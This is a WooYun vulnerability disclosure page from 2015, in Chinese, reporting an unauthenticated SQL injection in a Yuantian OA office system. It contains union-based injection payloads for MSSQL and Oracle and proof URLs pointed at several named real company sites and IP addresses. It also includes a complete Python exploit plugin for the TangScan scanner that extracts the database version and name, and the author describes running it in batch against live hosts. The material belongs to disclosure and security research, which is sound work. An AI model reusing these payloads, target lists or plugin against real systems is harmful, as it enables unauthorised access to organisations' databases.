当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128521

漏洞标题:某OA通用型SQL注入漏洞(为支持TangScan而来)

相关厂商:源天软件

漏洞作者: Coody

提交时间:2015-07-25 00:08

修复时间:2015-10-25 20:52

公开时间:2015-10-25 20:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-25: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-07-30: 细节向第三方安全合作伙伴开放
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

首先. 支持TangScan.com是必须的
其次. 为写插件抛出一枚0day
最后. 夜观天象,貌似要下雨,不知会打雷不~~~

详细说明:

1)通用型SQL注入漏洞
厂商:源天软件
网址:http://www.visionsoft.com.cn/
漏洞链接:ServiceAction/com.velcro.base.DataAction
说明:该oa系统使用mssql和oracle两个类型的数据库。
案例分别给出两种类型的利用poc。
利用POC:

MsSql数据库:
ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select @@version&isworkflow=true


Oracle数据库:
ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select (select banner from sys.v_$version where rownum=1) from dual&isworkflow=true


漏洞证明(直接访问即可):

MsSql部分


A)http://km.best-team.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true
B)http://bms.9square.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true
C)http://oa.jsfuan.com/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true

Oracle部分


D)http://winshare.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select (select banner from sys.v_$version where rownum=1) from dual&isworkflow=true
E)http://oa.mcds.com/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20(select%20banner%20from%20sys.v_$version%20where%20rownum=1)%20from%20dual&isworkflow=true
2)说好的为了支持 TangScan 而来
直接给出编写好的插件代码(本人代码盲,瞎写的,大牛勿喷),等公布时,该插件已经入库 TangScan.com 。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)
See the file 'docs/COPYING' for copying permission
author: fate0 <fate0@wooyun.org>
"""
import re
from thirdparty import requests
from modules.exploit import TSExploit
__all__ = ['TangScan']
class TangScan(TSExploit):
def __init__(self):
super(self.__class__, self).__init__()
self.info = {
"name": "源天软件OA办公系统 sql 注入MSSQL版漏洞(无需登录)",
"product": "源天",
"product_version": "",
"desc": """
OA办公系统 /ServiceAction/com.velcro.base.DataAction 中的 sql 参数存在注入, 将导致敏感数据泄漏
""",
"license": self.license.TS,
"author": ["Coody"],
"ref": [
{self.ref.wooyun: "暂无"},
],
"type": self.type.injection,
"severity": self.severity.high,
"privileged": False,
"disclosure_date": "2015-07-22",
"create_date": "2015-07-23",
}
self.register_option({
"url": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.url_field,
"desc": "目标 url"
}
})
self.register_result({
"status": False,
"data": {
"db_info": {
"version": "",
"current_db": ""
}
},
"description": "",
"error": ""
})
def verify(self):
self.print_debug("verify start")
re_version_pattern = re.compile(r'<data>(.+?)</data>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
exp_url = ("{domain}/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select @@version&isworkflow=true".format(domain=self.option.url))
try:
response = requests.get(exp_url, timeout=15, verify=False)
except Exception, e:
self.result.error = str(e)
return
re_result = re_version_pattern.findall(response.content)
if len(re_result) == 0:
self.result.status = False
return
self.result.status = True
self.result.data.db_info.version = re_result[0]
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
url=self.option.url,
db_version=re_result[0]
)
def exploit(self):
self.print_debug("exploit start")
re_userinfo_pattern = re.compile(r'<data>(.+?)</data>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
exp_url = ("{domain}/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select db_name()&isworkflow=true".format(domain=self.option.url))
try:
response = requests.get(exp_url, timeout=15, verify=False)
except Exception, e:
self.result.error = str(e)
return
re_result = re_userinfo_pattern.findall(response.content)
if len(re_result) == 0:
self.result.status = False
return
self.result.status = True
self.result.data.db_info.current_db = re_result[0]
self.result.description = "目标 {url} 存在sql注入, 数据库名称为: {current_db}".format(
url=self.option.url,
current_db=self.result.data.db_info.current_db
)
if __name__ == '__main__':
from modules.main import main
main(TangScan())


看下执行插件后的结果:

执行 --mode verify (默认)


QQ图片20150722234104.jpg


执行 --mode exploit


QQ图片20150722234219.png


插件运行正常,能够顺利输出数据。。。。。。

到这里本来应该结束了
但是我手贱
给出批量检测网站的脚本测试结果
测试的网站分别是:
http://60.12.113.234:8080/
http://121.14.195.31:8081/
http://218.246.22.194:8080/


测试中,直接执行 --mode exploit ,批量获取数据库名称吧。

QQ图片20150722235025.png


测试完毕,看下结果文件 success.txt 内容

QQ图片20150723000131.jpg


嗯、到这里该结束了···

漏洞证明:

修复方案:

版权声明:转载请注明来源 Coody@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-27 20:50

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商或网站管理单位的直接处置渠道,待认领。

最新状态:

暂无